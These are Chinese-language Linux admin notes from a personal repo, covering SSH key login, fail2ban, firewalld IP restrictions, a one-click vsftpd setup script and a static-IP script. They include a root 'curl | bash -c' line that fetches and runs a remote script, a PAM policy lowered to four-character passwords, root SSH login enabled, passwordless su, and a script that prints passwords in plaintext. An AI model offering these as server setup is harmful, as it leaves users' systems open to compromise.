[青藤云安全-攻防演练中常见的8种攻击方式及应对指南](https://www.qingteng.cn/think-tank/safety-study/62da497b59bbf700428a4334.html) ================================================ FILE: AQUICK/CLINUX/LINUXZERO-2.md ================================================ # 登录密码及授权密钥简配,限制与封禁IP,并锁Root ## SSH密钥与密码策略简化 ### 客户端 本机会将这一登录信息保存在`~/.ssh/known_hosts`文件当中,再次登录到远程服务器不用输入密码。 参数说明: * -t 指定要创建的类型;-b 密钥长度;-f 指定文件名,名字随意。 * "-i"是指定公钥文件上传到服务器。 ``` ssh-keygen -t rsa -b 4096 -f ~/.ssh/remote_ssh ``` ``` ssh-copy-id -i ~/.ssh/remote_ssh.pub user@server ``` 从[腾讯云-Linux多台服务器共用密钥ssh自动登陆](https://cloud.tencent.com/developer/article/2036440)得知,一份公钥可登录多台远程主机。 ### 服务端 配置服务端的ssh密钥验证策略,选择是混合模式、密码模式,还是限定密钥模式访问。 编辑 /etc/ssh/sshd_config 文件,添加如下设置: ``` # 是否允许Public Key PubkeyAuthentication yes # 允许Root登录 PermitRootLogin yes # 设置是否使用口令验证。 PasswordAuthentication no # no 代表任何人远程访问都只能通过密钥,除非去机房或VNC屏幕远程 ``` 重启SSH服务,`systemctl restart sshd.service`。 #### 设置ssh路径下的权限 ``` chmod 700 /home/xxx && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys ``` [csdn-ssh_config和sshd_config配置文件](https://blog.csdn.net/mynumber1/article/details/123699660),ssh_config和sshd_config,前者是针对客户端的配置文件,后者则是针对服务端的配置文件。 ### 密码简化 配置密码策略,修改密码得像4位数的验证码一样简单。vi /etc/pam.d/system-auth ``` # 新增自定义密码策略配置 密码验证三次 不限特殊字符、大小写、最低3位长度 password requisite pam_pwquality.so try_first_pass local_users_only retry=3 password requisite pam_pwquality.so authtok_type= lcredit=0 ucredit=0 dcredit=0 ocredit=0 minlen=4 ``` ## 用户管理 ### 与Windows、Mac上的创建用户对比 一键登录的lighthouse,据[老唐笔记](https://oldtang.com/9823.html)测试所述,该账户是具有 root 权限的,从`cat /etc/sudoers `的`lighthouse ALL=(ALL) NOPASSWD: ALL`可证 。 腾讯云自建用户不能SSH登录,看了[百家号-Linux普通用户赋予root用户部分命令权限](https://baijiahao.baidu.com/s?id=1728181364820928878&wfr=spider&for=pc)这篇文章,普通用户权限可以说小得可怜,除了钻空子去提权、特定场景做特定事,基本上勉强算是个临时的访客用户。 一、参考 [码农家园-linux新建用户无法登录ssh](https://www.codenong.com/cs106546599/),让普通用户也可以ssh登录。 1. `vi /etc/sshd_config` 添加 `AllowGroups root username` ([适用centos](https://zhuanlan.zhihu.com/p/451578551),`AllowUsers *@x.x.x.x`就可以了) 2. 重启服务 `/etc/init.d/ssh restart` 3. 或者创建`home/username/.ssh/authorized_keys` 再将公钥导入 二、普通用户的权限问题,加上个`chroot`指定特定环境,在这种沙盒的加持下,普通用户就更加做不了什么了。 1. 小到不能正常挂载外置盘符 ```shell %users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom ``` 2. 不能像我们正常配置网络、软件 ```shell %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS ``` ### 配置成 wheel组 or ALL用户 设置`ls -l` 成`ll`命令,并查看sudoers配置文件。 ```shell alias ll="ls -l" >> ~/.bashrc && ll /etc/sudoers ``` 也就是修改文件加上的授权,修改完再取消就好了。也可以`visudo`来修改。权限部分参考:[菜鸟教程-Linux chmod命令](https://www.runoob.com/linux/linux-comm-chmod.html) ```shell chmod u+w /etc/sudoers # 读写,u表示文件归属者 chmod u-w /etc/sudoers # 只读 ``` 腾讯云lighthouse例子,“%”应该是代表组的意思。 ```shell ## Allow root to run any commands anywhere root ALL=(ALL) ALL ## Allows people in group wheel to run all commands %wheel ALL=(ALL) ALL ## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment) #includedir /etc/sudoers.d # su 不需要密码 lighthouse ALL=(ALL) NOPASSWD: ALL ``` ` vi /etc/ssh/ssh_config` 限制root ssh登录配置`PermitRootLogin no`。之后将wheel组的su,设置成免密sudo,`vi /etc/pam.d/su`,或取消注释`#auth` ```shell sed -i '/#a/s/#a/a/g' /etc/pam.d/su ``` 参考: * [csdn-Linux新增ssh登录用户并加入sudo组](https://blog.csdn.net/xiunai78/article/details/84578529)(入个门了解) * [csdn-Linux基础之系统安全及应用(su和sudo)](https://blog.csdn.net/fangxin_zonghuo/article/details/113944950)(pam模块解读) * [csdn-Linux学习笔记之 修改pam.d/su让wheel组用户su切换到root时不用输入密码](https://blog.csdn.net/kfepiza/article/details/124701784)(限制用户切换成root) * [csdn-sed -i 命令详解](https://blog.csdn.net/qq_42767455/article/details/104180726)(替换字符串) ## Ban IP的三种方式 ### fail2ban 下载安装设置自启与启动fail2ban。 ``` yum install -y fail2ban && systemctl enable fail2ban.service ``` 配置 `vi /etc/fail2ban/jail.local` (复制时去掉中文注释。) ``` [DEFAULT] ignoreip=127.0.0.1 #用于指定哪些地址(IP/域名等)可以忽路fai12ban防御,空格分隔 findtime=60 #检测扫描行为的时间窗口(单位:秒),和maxretry结合使用,60秒内失败2次即封禁 maxretry=2 #检测扫描行为的次数,和findtime结合使用,60秒内失败2次即封禁 bantime= -1 #封禁该ip的时间(单位:秒),-1为永久封禁 banaction=iptables-allports #封禁该ip的端口 [sshd] enabled=true #启用ssh扫描判断器 port=22 #ssh的端口,如更换过ssh的默认端口请更改成相应端口 filter=sshd #启用ssh扫描判断器 logpath=/var/log/secure.log #系统行为记录日志,看系统版本 # 可以定制化发送邮件 sendmail-whois[name=SSH, dest=your@email.com, sender=fail2ban@example.com,sendername="Fail2Ban"] ``` 启动服务 `systemctl start fail2ban.service`,fail2ban开始生效。 ``` systemctl restart fail2ban ``` 日志查看 `cat /var/log/fail2ban.log` 参考:[北京大学-fail2ban安装](https://its.pku.edu.cn/faq_fail2ban.jsp) ### config for home 自身所处IP网段,由于运营商的不同,以及地区的不同,通常公司与家里公网IP差异是很大的。虽然公网IP是临时的,但三五两天常常变动的话,一是要有足够的IP资源,二是运营商不断调配IP,也会极大增加维护人工时间与物力成本,更何况现在的家庭网络路由器都是公网IP一个IP共享给多个主机。相对来说,一般是十五天或一个月变更一次。 理解:[公网IP和内网IP有何区别?如何获得公网IP上网? - ipshu的文章 - 知乎](https://zhuanlan.zhihu.com/p/558884673) hosts.deny,这种hosts等级的写入在CentOS8版本已废弃。用防火墙写规则吧。 CentOS7/8 ``` systemctl restart network ``` ``` systemctl start NetworkManager ``` 结合阿里云客服提供经验,在自己所在地,百度下“IP”查地址,子网划分限制在8-16台主机基本上够用的了。即便是是局域网其实也差不多。 参考: * [gitee - /etc/hosts.deny不生效(版本移除,以及默认不支持问题)](https://gitee.com/openeuler/kernel/issues/I29Z76) * [try8-CentOS8网络配置教程(centos8,网卡重置命令变动)](https://try8.cn/article/10010) * [csdn-CentOS8.5系统访问限制](https://blog.csdn.net/qq_41112887/article/details/121539810) 配合[ME2在线工具-子网划分工具](http://www.metools.info/other/subnetmask160.html)子网划分工具,轻松解决。 #### 防火墙 ***启动防火墙 `systemctl enable firewalld && systemctl start firewalld`*** 防火墙开启ICMP输入输出。 ``` iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT ``` ***仅放行自己IP示例。加一条就好了,相当于是仅对这一个IP网段放行,别的就拒掉。*** ```· firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22" accept' ``` ***防火墙ban掉对方ip 禁止192.168.128.137访问主机*** 如果要取消的话,将`--add`换成`--remove`就好。 ``` firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.128.137" drop' ``` 参数:filter,本地数据限制;-s源地址,-d目的地址,-p协议,--dport端口,-j行为/REJECT拒绝/ACCEPT同意/DROP丢弃。 ``` firewall-cmd --direct -add -rule ipv4 filter INPUT 1 -s 172.25.254.50 -p tcp -dport 22 -j REJECT ``` 参考: * [博客园-Linux命令之firewall-cmd](https://www.cnblogs.com/diantong/p/9713915.html) * [chinaunix-Linux使用防火墙firewall-cmd限制ssh只允许从指定IP段或指定源IP访问](http://blog.chinaunix.net/uid-20329764-id-5845291.html) * [csdn-Linux系统上的防火墙命令](https://blog.csdn.net/weixin_43780179/article/details/125046304) * [爱码网-linux下防火墙的管理工具firewall-cmd](https://www.likecs.com/show-203862572.html) ================================================ FILE: AQUICK/CLINUX/LINUXZERO-3.md ================================================ # Linux云服务器一键搭建自用FTP脚本 在水区做了调查,大家普遍对Linux FTP搭建很简单,不过从我自己的实际搭建过程中却不太容易。为此特意做了开源与笔记化的一键脚本,注释全面,方便后续的学习与交流。 * 安全: * 私有化,限定自己的公网IP访问。 * 限制用户出逃共享目录之外的目录,可读写。 * 自定义用户名,密码符合Linux常规创建用户就行。 * 对获取客户端IP进行了优化,从本机登录信息获取IP信息,彻底杜绝了从监听SSH端口抓取IP被混淆的风险。 虽说scp上传与下载也挺方便,但不方便目录的整体管理。而且刚入手学习Linux的人来说知道宝塔、Zfile各种面板的人也是少数,做一键脚本的目的也是帮助新人少走弯路。 起手方式不需要了解虚拟用户映射及FTP验证、PAM模块原理,一键搞定FTP。 [源码Git仓地址](https://github.com/hoochanlon/ihs-simple/blob/main/d-shell/lite_vsftpd.sh) ``` sudo bash -c "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-shell/lite_vsftpd.sh)" ``` 最后在阿里云服务器的安全组,或腾讯云的防火墙放行21000端口,搞定。效果图如下: 图床由 https://cdn.jsdelivr.net 提供支持。 放行防火墙 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-28%2021.26.91.png) 已可读写 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-03-01%2015.39.06.png) 策略生效状态查看 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-03-01%2022.10.10.png) 后续的自定义,可略览如下相关文件,进行此方面相关的深入学习与研究。 * 共享目录:/var/ftp/share * 访问配置文件 /etc/security/access.conf * FTP配置文件: /etc/vsftpd/vsftpd.conf * FTP模块支持文件: /etc/pam.d/vsftpd 最后,附源码: ``` # ********** 核心的五篇文档,csdn博主整理思绪排版较为清晰易读。************ ## [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html) ## [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803) ## [csdn-腾讯云Linux 轻量应用服务器如何搭建 FTP 服务?](https://blog.csdn.net/zdc1228/article/details/128428207) ## [csdn-腾讯云服务器FTP连接不上](https://blog.csdn.net/qq_40787608/article/details/123411675) ## [腾讯云-Linux 轻量应用服务器搭建 FTP 服务](https://cloud.tencent.com/document/product/1207/47638) ## [zhihu-vsftp新建用户无法登录?](https://www.zhihu.com/question/268255821/answer/622810196?utm_id=0) ## ## 往后可以用这款了,配置web云盘分享:https://github.com/zfile-dev/zfile ## 共享文件格式NFS、SMB、FTP、WebDAV 各有何优势:https://blog.csdn.net/hdxx2022/article/details/127490158 #******************************************************************* #********* 腾讯云文档提醒解读*************************** # # FTP 可通过主动模式和被动模式与客户端机器进行连接并传输数据。 # 由于大多数客户端机器的防火墙设置及无法获取真实 IP 等原因,建议您选择被动模式搭建 FTP 服务。 # 如下修改以设置被动模式为例,您如需选择主动模式,请前往 设置 FTP 主动模式。 # # 主动模式和被动模式的不同简单概述为: # 主动模式传送数据时是“服务器”连接到“客户端”的端口(客户端开启数据端口); # 被动模式传送数据是“客户端”连接到“服务器”的端口(服务端开启数据端口)。 # [csdn-FTP的主动模式和被动模式](https://blog.csdn.net/weixin_42039228/article/details/124338444) #**************************************************** #-----------下载安装,专属用户创建与限定目录------------ # 添加用户,普通用户是没有权限登录SSH的,需要额外授权,不要紧。 # 完善起见,已 usermod -s /sbin/nologin ftpuser yum install -y vsftpd yum install lsof -y sudo systemctl enable vsftpd # 启动成功,默认开启匿名访问,但无权限修改或上传。 # 需提前打开否则在后面配置会报错。 sudo systemctl start vsftpd sudo groupadd ftpusers # 接收用户输入流,并创建ftpusers组用户 read -p "请输入创建FTP共享的用户名:" user_name && sudo useradd -g ftpusers $user_name echo -e "$user_name 用户创建已完成 \n" echo "⚠️ 注意:Linux初始密码规则,创建密码需要符合大小写及特殊字符等各项要求 ‼️" echo -e "若已配置密码策略,可无视上面这条提示信息。" echo -e "◉ 注:显示明文,方便密码核对后确认 \n" # -s: 隐藏输入的数据,适用于机密信息的输入 read -p "请输入密码:" pass_word # 将 P@ssw0rd 密码传递至passwd的标准输入(stdin) echo $pass_word | passwd --stdin $user_name # 限制登录终端 sudo usermod -s /sbin/nologin $user_name # 创建FTP共享的特定目录 sudo sudo mkdir /var/ftp/share echo "hello world " > /var/ftp/share/test.txt # 授权 -R 递归;属主名:属组名 sudo chown -R ftpuser:ftpusers /var/ftp/share #----------备份vsftpd.conf文件,与获取本机公网IP---------- # 这里配置修改以被动模式为例。 # 修改:查找与替换。先sed不加参数匹配试试水,配置完加个中文注释,方便理解。 # 源目录文件备份 vsftpd.conf.bak cp -rp /etc/vsftpd/vsftpd.conf{,.bak} # 获取Linux的本机公网IP # 详情:https://blog.csdn.net/doris_9800/article/details/104620510 linux_public_ip=$(curl -s http://ip.tool.chinaz.com/ |grep 'class="fz24"' | awk -F '>|<' '{print$3}') # 这获取IP的方式,有被混淆的风险,毕竟有ssh插队的风险,注释掉 # get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p') # 新的获取IP方式,获取Windows或Mac电脑的IP 客户端 get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p') # cut # -d 表示需要需要使用自定义切割符 # -f2 表示对切割后的几块内容选择第2部分输出 # -f1 表示对切割后的几块内容选择第1部分输出 #------------------------------------------------------ #************************说明性文档*************************************** # # local_enable=YES #支持本地用户登录 # chroot_local_user=YES #全部用户被限制在主目录 # chroot_list_enable=YES #启用例外用户名单 # chroot_list_file=/etc/vsftpd/chroot_list #指定用户列表文件,该列表中的用户不被锁定在主目录 # #********************************************************************* #-----------配置用户基本策略:禁匿名、将访问限制在规定目录、ipv4---------- # 在12行全局换成anonymous_enable=NO sed -i '12canonymous_enable=NO' /etc/vsftpd/vsftpd.conf ## 100、101、103行去掉注释,配置chroot如上各项。 sed -i '100,101s/^#//' /etc/vsftpd/vsftpd.conf sed -i '103s/^#//' /etc/vsftpd/vsftpd.conf # 将Listen=NO换成Listen=YES sed -i 's/listen=NO/listen=YES/' /etc/vsftpd/vsftpd.conf # 在123行首追加注释,即关闭IPv6 sockets sed -i '123s/^/# /' /etc/vsftpd/vsftpd.conf # 在52行首取消注释,打开日志记录 sed -i '52s/^#//' /etc/vsftpd/vsftpd.conf # 开启被动模式 pasv_enable=YES # pasv连接模式时的最小端口、最大连接端口 # 这里只要把最小端口号和最大端口号配置成一样的,就成了开放固定端口了 # allow_writeable_chroot=YES 在限制目录下可写入 echo -e " local_root=/var/ftp/share allow_writeable_chroot=YES pasv_enable=YES pasv_address=$linux_public_ip pasv_min_port=21000 pasv_max_port=21000 " >> /etc/vsftpd/vsftpd.conf # 创建文件,否则会即使有用户也登录不上,不需要其他权限,ftpuser不访问这个文件 # 推测程序编写的逻辑是靠这一“小文件”来对策略进行决策的,配置开启了这功能,然后又没有文件自然乱套了。(编码人员没想那么多吧,可能不想管...) touch /etc/vsftpd/chroot_list ## chroot_list_file=/etc/vsftpd/chroot_list 打开限制名单文件配置 # 注释第4行 auth required pam_shells.so 模块认证。 sudo sed -i '4s/^/#/' /etc/pam.d/vsftpd #------pam_access.so是模块,会调用到配置文件/etc/security/access.conf------ # [csdn-实战vsftp针对用户和IP访问控制](https://blog.csdn.net/weixin_58400622/article/details/126438957) # /etc/pam.d/vsftpd (模块配置文件) ## 备份/etc/pam.d/vsftpd cp -rp /etc/pam.d/vsftpd{,.bak} # 在第7行前插入模块 sudo sed -i '7i\account required pam_access.so' /etc/pam.d/vsftpd # access.conf ## 备份access.conf文件 cp -rp /etc/security/access.conf{,.bak} ## 将最后一个规则定义为全部拒绝,表示只有自己允许的例外条件 ## 经测试网上的文章提到的‘@用户组名’配置已过时 echo -e " +:ftpusers:$get_my_ip -:ALL:ALL " >> /etc/security/access.conf #--------------------------------------------------- # 启动ftp服务。 sudo systemctl restart vsftpd echo -e "***调试专用代码***" echo 'scp /Users/chanlonhoo/Desktop/1.sh root@101.xxx.xxx.xxx:${HOMEPATH}' echo -e "rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old" echo -e "查看所有用户信息:cat /etc/passwd" echo -e "新建用户,添加FTP共享组:useradd -G ftpusers <用户名称>" echo -e "已有用户,添加FTP共享组:usermod -a -G ftpusers <用户名称>" echo -e "***************** \n" echo -e "\n ****************FTP基本说明与概况******************** \n" echo -e "FTP专属用户已创建完成:$user_name ;密码:$pass_word" echo -e "FTP共享目录位置:cat /var/ftp/share" echo -e "重要 ‼️ :注意在阿里云安全组,或腾讯云服务器防火墙,放行21000端口。" echo -e "\n至此,FTP搭建已完成,下面是FTP相关配置简览" echo -e "查看FTP历史访问记录:/var/log/xferlog" echo -e "核心配置文件:vi /etc/vsftpd/vsftpd.conf" echo -e "FTP限制用户及IP访问文件:vi /etc/security/access.conf\n" echo -e "Windows可以用文件管理器访问,就可以上传下载了。" echo -e "Mac推荐使用Cyberduck、FileZilla、ForkLift访问,自带访达对FTP功能支持不完善。\n" # 删除自身 rm -rf $0 # 可能该项说明对初次上手的用户是干扰 # echo -e "用户访问其他目录限制配置文件:/etc/vsftpd/chroot_list" # echo -e "具体操作方法为:填写想要随意访问路径的用户名,一个用户名,占据一行。\n" #*********参考*********************** ## ftp ### [csdn-linux如何查看端口是否开放](https://blog.csdn.net/blueheartstone/article/details/127045442) ### [csdn-shell if else 语句 写成一行](https://blog.csdn.net/qq_29060627/article/details/126471917) ### [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html) ### [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803) ### [csdn-FTP被动模式服务器端开有限的端口](https://blog.csdn.net/chipiqiao3947/article/details/100857760) ### [zhihu-vsftpd超实用技巧详解(二)-限制用户逃出家目录](https://zhuanlan.zhihu.com/p/77325423) ## python http server ### [【SimpleHTTPServer】Linux/上使用 python -m SimpleHTTPServer 快速搭建http服务](https://blog.csdn.net/michaelwoshi/article/details/102991018) ### [csdn-python3 报错 No module named SimpleHTTPServer](https://blog.csdn.net/hotpotbo/article/details/88227301) ### [知晓号-linux开端口命令(服务器开启端口命令)](https://www.dkper.com/27137.html) ## smb ### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html) ### [csdn-Linux之SAMBA服务——SMB协议](https://blog.csdn.net/qq_46839776/article/details/119939755) ### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html) ## 字符串处理 #### [51cto-sed插入行](https://blog.51cto.com/u_4296776/5369128) #### [csdn-vim配置高亮显示](https://blog.csdn.net/heimao0307/article/details/79757274) #### [linux 的curl grep awk 联合查询----小练习](https://blog.csdn.net/doris_9800/article/details/104620510) #****************插曲*********************************** ## [灰信网-VSFTPD 启动异常 (CODE=EXITED, STATUS=2)](https://www.freesion.com/article/6269698160/),忘记sed 加 -i 了... ## 组创建失败也会出现登录异常,服务器上不存在该共享。请检查该共享的名称,然后再试一次 ## [csdn-Linux系统用户添加到用户组](https://blog.csdn.net/shenyunsese/article/details/124449334) ## [csdn-usermod命令的 -s使用方法](https://blog.csdn.net/qq_42276808/article/details/104145927) ## Linux查看用户所属组 groups ftpuser 创建组:groupadd ftpusers ## 新建用户并将其加入指定用户组,作为其主用户组(每个用户有且只有一个主用户组) ## 新建用户,并关联组 ## useradd -g <用户组名称> <用户名称> ## 或者 新建用户并将其加入指定附属用户组,附属用户组可以有多个,多个附属组名称用逗号分隔即可 ## useradd -G <用户组名称> <用户名称> ## 已有用户 ## -a 代表append,和 -G 一起使用,将用户添加到新用户组中而不必离开原有的其他用户组 ## usermod -a -G <用户组名称> <用户名称> ## 谷歌云,默认开启selinux的。国内机器,默认关闭内部的防火墙。 ## 如果您服务器内部启用了防火墙,那是要两边一起做策略的。 ## 腾讯默认是放开端口的,除非额外限制,目前的策略来看。 # 来自 [csdn-关闭防火墙是否就默认所有端口打开](https://blog.csdn.net/weixin_39166924/article/details/98754038) # 默认的应该是不防护已开放端口了,端口是否打开的根本是取决于你开的服务或者是应用, # 这些才会去打开原本没有打开的端口,防火墙只不过在开启的时候会对这些端口做防护而已,并不是防火墙开的这些端口。 # 比如80端口,你只有做了web应用,如iis等服务器上才会打开80端口,这时候防火墙可能会保护80端口, # 使外面的用户无法访问,但关闭了防火墙,防护取消就可以正常访问了,所以防火墙并不是打开80的根本 ``` ================================================ FILE: AQUICK/CLINUX/LINUXZERO-4.md ================================================ # Linux一键简单配置IP地址(永久生效) ## 缘起 我自己了解Linux的时间也不长,大概就最近阿里云和腾讯云白嫖的两月左右。从我自己的体验来看,Linux各项配置挺繁琐、容错率低,加上设置IP可算的上常用项了,一开始上就“vi /etc/sysconfig/network-scripts/ifcfg-eth0”,各项配置甩手扑面,对新手来说,我是觉得有些强人所难了一些。 为此,我也做了一次一键简单配置IP脚本前做了个小调研,[大家对Linux的IP配置是否觉得操作不便,上手不易?(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1752830-1-1.html)。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-03-04%2000.27.36.png) 以我个人最近查阅资料所获得的经验来看,感觉很轻松的,多数是较为老手的。对 network-scripts/ifcfg-eth0 比较熟,或者对nmcil做过功课与了解。 ## 效果一览 先上一键简单配置脚本的效果图。附源码在最后。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-03-03%2021.24.88.png) 基本上都是边学习,边分析的写代码,所以注释会很多。写源码时的网卡配置比对工作与查阅的资料单独拎出来,方便大家查阅。 ### Linux 网卡配置比对 * 如果同时设置了动态获取IP和静态IP,那么静态IP将不再有效。系统会优先使用动态获取IP的配置。(试验机CentOS 8) * bootp 是一种比较老的协议,几乎已经过时了,dhcp 是 bootp 的一种扩展,与 bootp 兼容。 * none 不禁用网卡,暂时也不用静态IP,如果指定静态IP就用静态的,我想是特殊装机环境。 系统出厂的ifconfig-eth0初始配置如下: ```shell BOOTPROTO=dhcp 协议类型: dhcp bootp none HWADDR=52:54:00:35:3a:ac mac地址 ONBOOT=yes 启动时是否激活 yes | no PERSISTENT_DHCLIENT=yes 持久化选项,持续响应DHCP获取IP yes|no|1|0 TYPE=Ethernet 网卡类型为以太网 USERCTL=no 是否允许非root用户控制该设备 yes/no ``` nmcil添加IP、掩码、网关后,ifconfig-eth0生成的后续额外项 ```shell PROXY_METHOD=none 代理关闭 BROWSER_ONLY=no 代理只限于浏览器?yes or no IPADDR=172.24.10.150 PREFIX=24 也可以写为(METMASK=255.255.255.0但是二者一般只写其中的一种) GATEWAY=172.24.10.100 DNS1=172.24.10.254 DNS2=172.24.10.253 DEFROUTE=yes 默认路由开启,数据包的出口。 IPV4_FAILURE_FATAL=no 关闭错误检测 IPV6INIT=no ipv6关 IPV6_DEFROUTE=yes 开启ipv6默认路由设置 IPV6_FAILURE_FATAL=no 关闭错误检测 NAME="System eth0" 标识网络设备名称 (基于nmcil管理) UUID=5fb06bd0-0bb0-7ffb-45f1-d6edd65f3e03 唯一表示码,可通过uuidgen eth0 生成 ``` ## 推测与分析 我在实验过程中发现 `nmcli con mod "System eth0" ip4 10.10.10.10/24 gw4 10.10.10.1 ` 重复输入几次的话,会一个网卡绑定多个IP。查阅[51cto-快速上手Apache](https://blog.51cto.com/u_14519396/6000235):如果一台服务器有多个IP地址,而且每个IP地址与服务器上部署的每个网站一一对应,这样当用户请求访问不同的IP地址时,会访问到不同网站的页面资源。 再配置一遍动态DHCP时,难怪我就理解了,centos8只要存在DHCP项,下面的静态配置就失去了效果。 `nmcli con mod "System eth0" ip4 10.10.10.10/24 gw4 10.10.10.1`这条命令非常“智能”,我在实验过程中删掉了所有静态IP,在没重置网络的情况下,是能迅速恢复所有之前加入过的一条条静态IP配置的;反之,网络重载,就初始化了。 实际上多出来的这些参数是默认的,我们只保留 IPADDR、METMASK、GATEWAY、DNS2、DNS1 就好了。此外,Linux的网驱命名,NAME键值eth0可改为其他的命名,更改文件:`/etc/udev/rules.d/70-persistent-net.rules ` ## 成形代码 附源码: https://github.com/hoochanlon/ihs-simple/blob/main/d-shell/study_nmcil2.sh ```shell # **************调试代码************************ # cat /etc/sysconfig/network-scripts/ifcfg-eth0 # nmcli c mod "System eth0" \ # ip4 172.24.10.150/24 \ # gw4 172.24.10.100 \ # ipv4.dns 172.24.10.254 \ # ipv4.method manual autoconnect yes # rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old # echo "192.168.0.1 255.255.255.0 192.168.0.11" > ${HOMEPATH}add_ip_net.txt # echo "192.168.0.1,255.255.255.0,192.168.0.11" > ${HOMEPATH}add_ip_net.txt # echo "192.168.0.1/24 192.168.0.11" > ${HOMEPATH}add_ip_net.txt #************************************************ #********** 开始配置 network-scripts/ifcfg-eth0 ******************* echo -e "注意,该脚本适用于个人便利性及新手使用。 \n" # 原则上是适配centos 8的,为了一定程度上的便利,将从network manager抓取设备名。 # 获取首行的网卡设备,提取到网卡设备别名。 # ifconfig -s、netstat -i 显示网卡清单 # nmcli device |awk 'NR==2{print $4,$5,$6}' a_eth=$(nmcli device |awk 'NR==2{print $1}') # sed 检查文本是否存在关键字,有则删除行 sudo sed -i '{/IPADDR=/d;/GATEWAY=/d;/PREFIX=/d;/METMASK=/d;}' "/etc/sysconfig/network-scripts/ifcfg-$a_eth" # sed 匹配 “BOOTPROTO=dhcp”,整行替换 sudo sed -i 's/BOOTPROTO=dhcp/BOOTPROTO=none/g' "/etc/sysconfig/network-scripts/ifcfg-$a_eth" echo -e "支持 192.168.0.1/24 格式,可空格或逗号分段:IP 子网掩码 网关 \n" read -p "请输入IP、子网掩码、网关: " add_ip_net # 传入到文本进行分割取值 echo "$add_ip_net" > ${HOMEPATH}add_ip_net.txt if [ ! "$(cat ${HOMEPATH}add_ip_net.txt|grep '/')" ]; then a_ip=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $1}') a_mask=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $2}') a_gateway=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $3}') # 插入 sudo echo " IPADDR=$a_ip METMASK=$a_mask GATEWAY=$a_gateway " >> "/etc/sysconfig/network-scripts/ifcfg-$a_eth" else a_ip=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $1}') a_prefix=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $2}') a_gateway=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $3}') # 插入 sudo echo " IPADDR=$a_ip PREFIX=$a_prefix GATEWAY=$a_gateway " >> "/etc/sysconfig/network-scripts/ifcfg-$a_eth" fi rm -rf ${HOMEPATH}add_ip_net.txt systemctl restart network echo "修改成功。小推荐:yum install -y ipcalc (子网掩码换算器)" echo '若将网络设置成自动获取,输入此条指令即可:nmcli con mod "System eth0" ipv4.method auto' echo '若后续添加DNS,输入该指令生效:nmcli c mod "System eth0" ipv4.dns 1.1.1.1,223.5.5.5' ``` ## 参考资料 **网络配置,主要集中于对nmcil的理解** * [qiita-nmcliコマンドの隅をつつく](https://qiita.com/kanatatsu64/items/b7b8eca17202386d27e3) * [Linux网络架设篇,虚拟机l系统中网卡设备名与配置文件不符如何处理?](https://www.bbsmax.com/A/o75NB3Ex5W/) * [知乎-BOOTP和DHCP有什么区别?](https://www.zhihu.com/question/57081221) * [bookstack-IPv4的dhclient守护进程持久化配置](https://www.bookstack.cn/read/openeuler-1.0-base/Administration-IPv4的dhclient守护进程持久化配置.md) * [csdn-linux静态地址于dhcp共存,linux dhcp 获取ip地址能上网,设置静态ip地址则不能上网...](https://blog.csdn.net/weixin_42513170/article/details/116880156) * [爱码网-linux——网络文件的配置](https://www.likecs.com/show-205084292.html) * [csdn-配置静态IP地址(centos和ubuntu)](https://blog.csdn.net/weixin_47661174/article/details/125894194) * [Linux系统中手动配置IP地址(CentOS 7、8为例)](https://blog.csdn.net/weixin_44411385/article/details/123499862) * [nmcli详解](https://blog.csdn.net/wq1205750492/article/details/124497231) * [csdn-Linux中nmcli命令详解](https://blog.csdn.net/yulin003/article/details/125561203) * [csdn-RHEL8使用nmcli配置网络](https://blog.csdn.net/omaidb/article/details/120028501) * [51cto-快速上手Apache](https://blog.51cto.com/u_14519396/6000235) * [电子发烧友论坛-嵌入式Linux下如何设置永久ip和临时ip地址](https://bbs.elecfans.com/jishu_2190937_1_1.html) * [9.2. 使用 NetworkManager 命令行工具 nmcli](https://access.redhat.com/documentation/zh-cn/red_hat_enterprise_linux/7/html/networking_guide/sec-network_bridging_using_the_networkmanager_command_line_tool_nmcli) **文本处理** * [csdn-shell编程 sed 命令追查找[关键字] 并在该行附近修改文本](https://blog.csdn.net/lingyiwin/article/details/126022315) * [csdn-Linux sed 